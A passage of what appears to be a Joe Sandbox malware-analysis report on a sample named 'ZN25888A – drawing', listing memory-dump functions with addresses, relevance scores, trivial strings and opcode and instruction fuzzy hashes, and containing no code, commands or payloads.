Opcode Fuzzy Hash: d696588f0335466b95dc2fa44443fe3ca30187ee8579c99ea93e5dd9a8aa0392
Instruction Fuzzy Hash: C1E2187A250510EFDB4A9F98D948D55BBB2FF4D32471A81E8F2099B236C732D861EF40

Function 00BB54C1 Relevance: 2.7, Strings: 1, Instructions: 1440COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 00BB443F

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: 430b40007bd8b8a2dc47108d7e06b91fb8751f7d473f491df75d95ff7c6220e0
Instruction ID: f61c385d5abb049aec8c1c7a6dccd1b018446332ad29f11462779d85c9be4519
Opcode Fuzzy Hash: 430b40007bd8b8a2dc47108d7e06b91fb8751f7d473f491df75d95ff7c6220e0
Instruction Fuzzy Hash: D5E2187A250510EFDB4A9F98D948D55BBB2FF4D32471A81E8F2099B236C732D861EF40

Function 00BB54EB Relevance: 2.7, Strings: 1, Instructions: 1437COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 00BB443F

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: 12c2808b3ab40221c643244bb7d4b65278820da64007654f07598867d5492521
Instruction ID: e3b20f5ff538bb13a6e681f9a0dfa4639afb0dd57bf16164174a43c51587507f
Opcode Fuzzy Hash: 12c2808b3ab40221c643244bb7d4b65278820da64007654f07598867d5492521
Instruction Fuzzy Hash: A9E2187A250510EFDB4A9F98D948D55BBB2FF4D32471A81E8F2099B236C732D861EF40

Function 06D06006 Relevance: 2.6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

Strings

w, xrefs: 06D0F9D9
Q, xrefs: 06D07CC2

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: Q$w
API String ID: 0-2914425004
Opcode ID: b791b0fd753831b6f7cbf9a310ac6a5f87fa0cdc1ea5407fe8286cad9a3328b4
Instruction ID: b7fc6ef9c0d43d6c09410ed6766420c2a1e4ec7ae33f8b74bb7fa5aed2423170
Opcode Fuzzy Hash: b791b0fd753831b6f7cbf9a310ac6a5f87fa0cdc1ea5407fe8286cad9a3328b4
Instruction Fuzzy Hash: 6431F570D45229CFEB79DF14CA09BEEB6B2EB48305F0080E99649A7680D7B45E85CF42

Function 00BB1730 Relevance: 1.6, Strings: 1, Instructions: 355COMMON

Download Yara Rule

Strings

@, xrefs: 00BB1983

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a961485bb628c4478591a4a8fa5dcdfc826410a3718e0a1c15d4ddb42226911d
Instruction ID: 21e6f72bff8a4005b501f69ef5c217531281d779eb38397b07424f85284ebab1
Opcode Fuzzy Hash: a961485bb628c4478591a4a8fa5dcdfc826410a3718e0a1c15d4ddb42226911d
Instruction Fuzzy Hash: B9D17F74B141448FD704CBACD4A4BADBBF2EF89310F6585A9E406EB3A2DA70DD45CB41

Function 00BB09E0 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

<dq, xrefs: 00BB0ADE

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: <dq
API String ID: 0-2562707172
Opcode ID: a95608154bde2342474484bd5db3c89a6d56837190bbc6da2f13088ee972c6c9
Instruction ID: e2d100ba17cc1fd949d31c7a1b3494844d612590e5902c4188e8130698a3cacc
Opcode Fuzzy Hash: a95608154bde2342474484bd5db3c89a6d56837190bbc6da2f13088ee972c6c9
Instruction Fuzzy Hash: 32416E35B502198FCB14DF69D0546AEB7E2FF88314F2184A5E905EB360EF709C41CB90

Function 00BB63DD Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

ps, xrefs: 00BB640A

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: ps
API String ID: 0-4259926378
Opcode ID: 7c15320ab0262c4b851867ea1cd058013457869f1b5706d1e40d132e057254f4
Instruction ID: 1cef26ebee2adfd924e62aee4f38a488c983b42cea4c8390322cbcc7031b435b
Opcode Fuzzy Hash: 7c15320ab0262c4b851867ea1cd058013457869f1b5706d1e40d132e057254f4
Instruction Fuzzy Hash: 263136B0D002489FDB24CFA9D484AEEBFF1AF48300F248469E809AB350DB789D45CB90

Function 00BB63E8 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

ps, xrefs: 00BB640A

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: ps
API String ID: 0-4259926378
Opcode ID: 0a575c97882734bad24b3787e994d3294b43710622629c9c7ab146157e06cf85
Instruction ID: a66d5443d4a597e509f16a98d0aa586c411ab1647da19c47307b60bcbc82aeda
Opcode Fuzzy Hash: 0a575c97882734bad24b3787e994d3294b43710622629c9c7ab146157e06cf85
Instruction Fuzzy Hash: BC310570D0025C9FDB24CFAAD584AEEBFF5AF48310F248469E809AB350DB799D45CB90

Function 06D00129 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

W, xrefs: 06D0018C

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: 818e614bd4fe78c1654089570cc43d12c04eb261e2a97a13879d5febd7bf962d
Instruction ID: 2faa89a3d4a44325a1c09906ba6a823097019b06d1cd9f53a13e69950943a75d
Opcode Fuzzy Hash: 818e614bd4fe78c1654089570cc43d12c04eb261e2a97a13879d5febd7bf962d
Instruction Fuzzy Hash: 5C110974A06229CFE764DF58DA64BEAB3F5EB49304F0090E9A50DA7384D7349E81CF51

Function 06D06EA8 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

w, xrefs: 06D0F9D9

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: e371d673326ea9b83f7e2b493029a8dac63288e1a67b770af093d55cee334c4a
Instruction ID: 24cb34e5fa678c167798acadc375626079c433027b940cbf6678a4022ab27fd1
Opcode Fuzzy Hash: e371d673326ea9b83f7e2b493029a8dac63288e1a67b770af093d55cee334c4a
Instruction Fuzzy Hash: 20E09230A0011C8FE768DF20C6067EE7672EB88701F0040A8A20E5B3D4CB341E41CF52

Function 00BB42E1 Relevance: 1.3, Strings: 1, Instructions: 7COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 00BB443F

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: f3614e80d1abe0f997d83ac45324889eb794019559091296a7c00da9d8b06544
Instruction ID: 73290cb890549a248f158c0ec4040f1293c51539971815be876e7cfc81b6a9a0
Opcode Fuzzy Hash: f3614e80d1abe0f997d83ac45324889eb794019559091296a7c00da9d8b06544
Instruction Fuzzy Hash: 87C092A280E386DFCB474E588CD00A0BFB0BE7220032EC4E6C4950F007D3248A8AE732

Function 00BB2758 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837c49b36f3088bd5135ce0169114159347cdf7ca40dc4c2261fb07c303b6587
Instruction ID: 719c866d6cc0aa3c536ea6bd417d0681b57a511615d12acb9d37d6869b579fa7
Opcode Fuzzy Hash: 837c49b36f3088bd5135ce0169114159347cdf7ca40dc4c2261fb07c303b6587
Instruction Fuzzy Hash: 4C520874902200CFD360DF09E988BA9BBF6FB44B04F66D1A9D0155B36AD3B9DD98CB50

Function 00BB11EB Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa7ce27c2f15c9d245a3c3b0a7495d83c8dd84dc62f94f0db892226b7e7a3f05
Instruction ID: dd25e253a0944a73b2201a7f0ff3943a2cc3b94346b3a424e04da0a15fb7cbdf
Opcode Fuzzy Hash: fa7ce27c2f15c9d245a3c3b0a7495d83c8dd84dc62f94f0db892226b7e7a3f05
Instruction Fuzzy Hash: 1671DF34A082458FDB11CB6CE8A47FAB7F1EB84311FA488FAC406D7795E6B09C51CB95

Function 05680EE9 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b81181328c9ca467f004a459690ab3454aac965c2a1b65fd033df8b9652c662
Instruction ID: c42db0fadea7fb7d36a22d6d22548e646aa0e6076ac3218e108d433cd058766b
Opcode Fuzzy Hash: 9b81181328c9ca467f004a459690ab3454aac965c2a1b65fd033df8b9652c662
Instruction Fuzzy Hash: A2714870904308DFDB44EFA5D948BFDBBB2BB4A314F50A62AD81967398CB74594ACF10

Function 00BB3EFA Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a784930e8912ba5c132f2f3bac1829dc2b0255d06d84678c3c51528483b6a2
Instruction ID: d9206dea019868dd6824f9423f9f4bfc956416a631f8bc8e6357b96b07f0dfe6
Opcode Fuzzy Hash: 25a784930e8912ba5c132f2f3bac1829dc2b0255d06d84678c3c51528483b6a2
Instruction Fuzzy Hash: B1512430B042049FEB14DB389890BBA77E6BB95B10F6085B9E406EB3D6DBB0DD418795

Function 06D1BC70 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 887e73b365774fa13ca1ff20a72b3ca5c0de68a32582764ebf7c0b7ffc78f298
Instruction ID: e74fb7029c86479110940684dcee7d13a98f1a4222d3e00e6afe2284b8f9ce99
Opcode Fuzzy Hash: 887e73b365774fa13ca1ff20a72b3ca5c0de68a32582764ebf7c0b7ffc78f298
Instruction Fuzzy Hash: 2B81D674E05218DFDB94DFA4E584AEDBBB2FB89300F10802AE506AB394DB745D46CF91

Function 05680F20 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fef99c9ea52b054853b7795bd1fb76474669d270945c981a629af5f09410ff4a
Instruction ID: 684940ec21743b031bc40cbab742bd342bca8a6a309f1ea710d98c9f27cbf76b
Opcode Fuzzy Hash: fef99c9ea52b054853b7795bd1fb76474669d270945c981a629af5f09410ff4a
Instruction Fuzzy Hash: 5E714770904308DFDB44EFA5D844BEDBBB2BB4A310F50A22AD81967398CB74594ACF10

Function 05680F30 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e7eee5dbbe65db5f7e7e0b09a93a1ca175a8b357a452b79a22253f277010c61
Instruction ID: a827a9a18fedd0cf49fe19e1578c2981ad74bb5d1c3b5518127ec04644f3ce69
Opcode Fuzzy Hash: 5e7eee5dbbe65db5f7e7e0b09a93a1ca175a8b357a452b79a22253f277010c61
Instruction Fuzzy Hash: A9713870904308DFDB44EFA5D948BFDBBB2BB4A314F50A62AD819A7358CB74594ACF10

Function 056811EB Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4a78fd26f12ec5900faf05df6c8db1eb22f87ad4b0519548cc8c549fcf2f50c
Instruction ID: b8fb9e13058ce8f2e99096646ef4ede36063dd0a87ff79550240aad9f604b2f3
Opcode Fuzzy Hash: f4a78fd26f12ec5900faf05df6c8db1eb22f87ad4b0519548cc8c549fcf2f50c
Instruction Fuzzy Hash: BD514835904308DFDB84EFA5E944BBDBBB2BB4A314F50A22AD81967358CB74594ACF00

Function 06D1F488 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3614b8b9d180550348c58ed2b854fce268570b667f4098d7cf93f6c7b7cd5d2
Instruction ID: b727843de6efc11278a9bce6818423a7f1abb163e7580f41dd1d736a108a1615
Opcode Fuzzy Hash: c3614b8b9d180550348c58ed2b854fce268570b667f4098d7cf93f6c7b7cd5d2
Instruction Fuzzy Hash: 08514C74E00208DFEB84DFA9E9446ADB7F2FB88310F40E429E419AB358DB745945CF51

Function 00BB2009 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa039e4e5cfe6bdf830daf12bbc3a62bb763782dc84af4776c8a3a5241df422
Instruction ID: a7492ea4b679c63ad1ef0848ab66528c752876940aee23d1fbf18007646b0dc6
Opcode Fuzzy Hash: 5fa039e4e5cfe6bdf830daf12bbc3a62bb763782dc84af4776c8a3a5241df422
Instruction Fuzzy Hash: 21415A716087014FE720AB3CD8843FABBE5FB94324F9486BAD455C6591E7E1D886C741

Function 00BB33A8 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18e0f5e9652141108a1a08b99f9aef717b0dd397e556f471d3ac310eeceb7758
Instruction ID: c24bdae7c2401d6e5faccc9d2ba06db82a7e2b451c924bbd9b9d1e5ec7b49e84
Opcode Fuzzy Hash: 18e0f5e9652141108a1a08b99f9aef717b0dd397e556f471d3ac310eeceb7758
Instruction Fuzzy Hash: 9E515C70A04148DFDB11CB98D481BFEBBF2EF54700F2485A6E406EB351DBB1AE458BA1

Function 00BB1CF0 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 430fab2d7e3146c1ab19cd58409c6a5f555ad937ab0e57a700435591f45e41c9
Instruction ID: 8e834d54bd5ba208fe03fc013518b6ab87df10e1c240d88b88293cddf6a00e5a
Opcode Fuzzy Hash: 430fab2d7e3146c1ab19cd58409c6a5f555ad937ab0e57a700435591f45e41c9
Instruction Fuzzy Hash: 09419D30B002098FDB58EB69D4646FE77E2EBC8700FA4C9B9D50697258DFB0D9428BC1

Function 05680FDE Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51aa62d1172aaab9d3f3e0b820692440852519d12898194a9c0c6fb12e3d2ff9
Instruction ID: 0f780eb42eb8937c09af5f087f293ddf75ee05f1af86978f2482d024b7275f31
Opcode Fuzzy Hash: 51aa62d1172aaab9d3f3e0b820692440852519d12898194a9c0c6fb12e3d2ff9
Instruction Fuzzy Hash: 1F415835904308DFDB84EFA5D944BFDBBB2BB4A314F40A22AD8196B358CB74594ACF10

Function 00BB0B4F Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45b4b12be380322928841614348ac09c95348701c698758599c28b49d5acaafc
Instruction ID: 1cc9366d661e4e74b92797364fe4b00f2628ca9048d8448a6bba2209619181f9
Opcode Fuzzy Hash: 45b4b12be380322928841614348ac09c95348701c698758599c28b49d5acaafc
Instruction Fuzzy Hash: D6417B34B542048FDB18AB78C468BBD7BF2ABC9310F258568E402DB3A1CF759C45CB92

Function 00BB3229 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ab2c5572414dceef262c20218204673541d94210f12038617a3297091ea85a1
Instruction ID: 1a3d50debee51bf5a2ab75ed86f1e73b91beee1a3e10e6707f6c7929266181b1
Opcode Fuzzy Hash: 2ab2c5572414dceef262c20218204673541d94210f12038617a3297091ea85a1
Instruction Fuzzy Hash: 92416A31E04209CBCB00DF98C8D1AFEB7F1FF54700F2189AAD915AB251DBB1AA49CB55

Function 00BB1CE0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a04920de10ce203378585a996fec7763713d669d92644f2224ee8d12c89bc6
Instruction ID: 130f2f523ff94f74c541cd97d72af7b19d409e1bac4217e0e2a61bd29d3bf83b
Opcode Fuzzy Hash: 49a04920de10ce203378585a996fec7763713d669d92644f2224ee8d12c89bc6
Instruction Fuzzy Hash: A9218E30B042058FCB28DA29E4A56FA37F2EB95741FA48DB9C90687258DBB0CD418BC1

Function 00BB1A68 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 476ee8f40a08bf88b371ae7c24ab92c800955c22bd9210a1e2146b5581467cf3
Instruction ID: 2335bdc27def2bdbc5f5eedc33623dacaa1cd5ca44fe064df2e525672fb016b2
Opcode Fuzzy Hash: 476ee8f40a08bf88b371ae7c24ab92c800955c22bd9210a1e2146b5581467cf3
Instruction Fuzzy Hash: 5C31E274B102158FDB18DBA8D5A8BADB7F1EF88305F1044A9E812DB3A1DBB0AC41CB50

Function 00BBF0B0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81d3d3b726235a3ac1a46f3560a3e42d0eac6103f3b3af073e39c1f8088727a7
Instruction ID: 8ed3b0d229531048baf821bd691a97004c86dd59b3604a0368dab5a2515f80ff
Opcode Fuzzy Hash: 81d3d3b726235a3ac1a46f3560a3e42d0eac6103f3b3af073e39c1f8088727a7
Instruction Fuzzy Hash: 21313AB0D05209DFDB44EFA9D8887BEBBF2EB48305F60C0A5D019A7255D7B44A84CF52

Function 0091D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1652621763.000000000091D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0091D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_91d000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50c5eca1518729185a8960e8bd5b7b1ee7611d521bd27c0414e9658903c4fbc2
Instruction ID: 4050c10dffdb11dd8fb9d129ecb75745eaafcc75c08ebe48bc7a1b77b0a1d274
Opcode Fuzzy Hash: 50c5eca1518729185a8960e8bd5b7b1ee7611d521bd27c0414e9658903c4fbc2
Instruction Fuzzy Hash: 4D214972605248DFEB15DF14D9C4B66BB69FB88314F20C56DE9090B242C33AD897CBA2

Function 0091D006 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1652621763.000000000091D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0091D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_91d000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88b7f5cffde46f1d50321fc9669349531788bb818c9372d7e46acc5edec6bc7d
Instruction ID: 69ef202cd317e525640419c7371b5dae05a4643b96a2f697a0c1c52cd85b16a9
Opcode Fuzzy Hash: 88b7f5cffde46f1d50321fc9669349531788bb818c9372d7e46acc5edec6bc7d
Instruction Fuzzy Hash: 3021A1751093C48FDB12CF20D994755BF71AB46314F2981EAD8448B653C33A985ACB62

Function 00BB10F8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 352a560033841da6c1e7e6c36f544ea9eecb227119a8d28bce070af5497db42d
Instruction ID: e8cbdb2c2692ff2a3f917b5c7fe9d287eeb3f3d36bbd9f42afcd7085993406a8
Opcode Fuzzy Hash: 352a560033841da6c1e7e6c36f544ea9eecb227119a8d28bce070af5497db42d
Instruction Fuzzy Hash: 30215774E042099FCB04DFB8D8955AEBBB1FFC4301F1085A9D906A7355DB709A15CF51

Function 00BB1108 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2684aa255580ea25615cb3093f55ae5e596d68de3a21b67484c836359679640
Instruction ID: d737563ad80c637f7f91582aadc810e7406db381d06e9718cd55432ad94dd878
Opcode Fuzzy Hash: c2684aa255580ea25615cb3093f55ae5e596d68de3a21b67484c836359679640
Instruction Fuzzy Hash: CC113074A002099FCB44EFB8D8959AEBBB6FFC8300F10C4A8D506AB355DB31AA05CF51

Function 00BB1B11 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b8918021866b058f49299b30a205f47a996a4cbaf85f96f7864c8c1cb347d74
Instruction ID: 683ee891a90033b483a0e05693907d9ecc614625137604f0c8e3c9a7493e3823
Opcode Fuzzy Hash: 9b8918021866b058f49299b30a205f47a996a4cbaf85f96f7864c8c1cb347d74
Instruction Fuzzy Hash: F7114C34604104CFDB24CBA8D8A8BEDB7B0EB04310F608495E502AB391E6B0DD45DB41

Function 00BB1EF8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73378eef6b6842d391b235918a74e2170fce859957474b4b2a35608d58b57751
Instruction ID: 7bf53c3dac8749d4b2ba456c7041ef3dda67a1257627baf02110048b146247cf
Opcode Fuzzy Hash: 73378eef6b6842d391b235918a74e2170fce859957474b4b2a35608d58b57751
Instruction Fuzzy Hash: 7201F2307081049FC310575DE890BBAB6EAEB88390FA088A6F50AD7392CBB08C00C351

Function 00BB1EE8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bdcb3c442bf8597ced5d0f967367a6f930cc62fdf3073512864ecb4d0bbeaaf
Instruction ID: 74761b385e457c29755f7604f901c69529a487a194dfc61a0754f1608cee7321
Opcode Fuzzy Hash: 3bdcb3c442bf8597ced5d0f967367a6f930cc62fdf3073512864ecb4d0bbeaaf
Instruction Fuzzy Hash: E401FC70B181005FC310576CA895BFEB6F6EB89340F6448AAF816D73A2DBB04D01C752

Function 06D02180 Relevance: .0, Instructions: 46COMMON

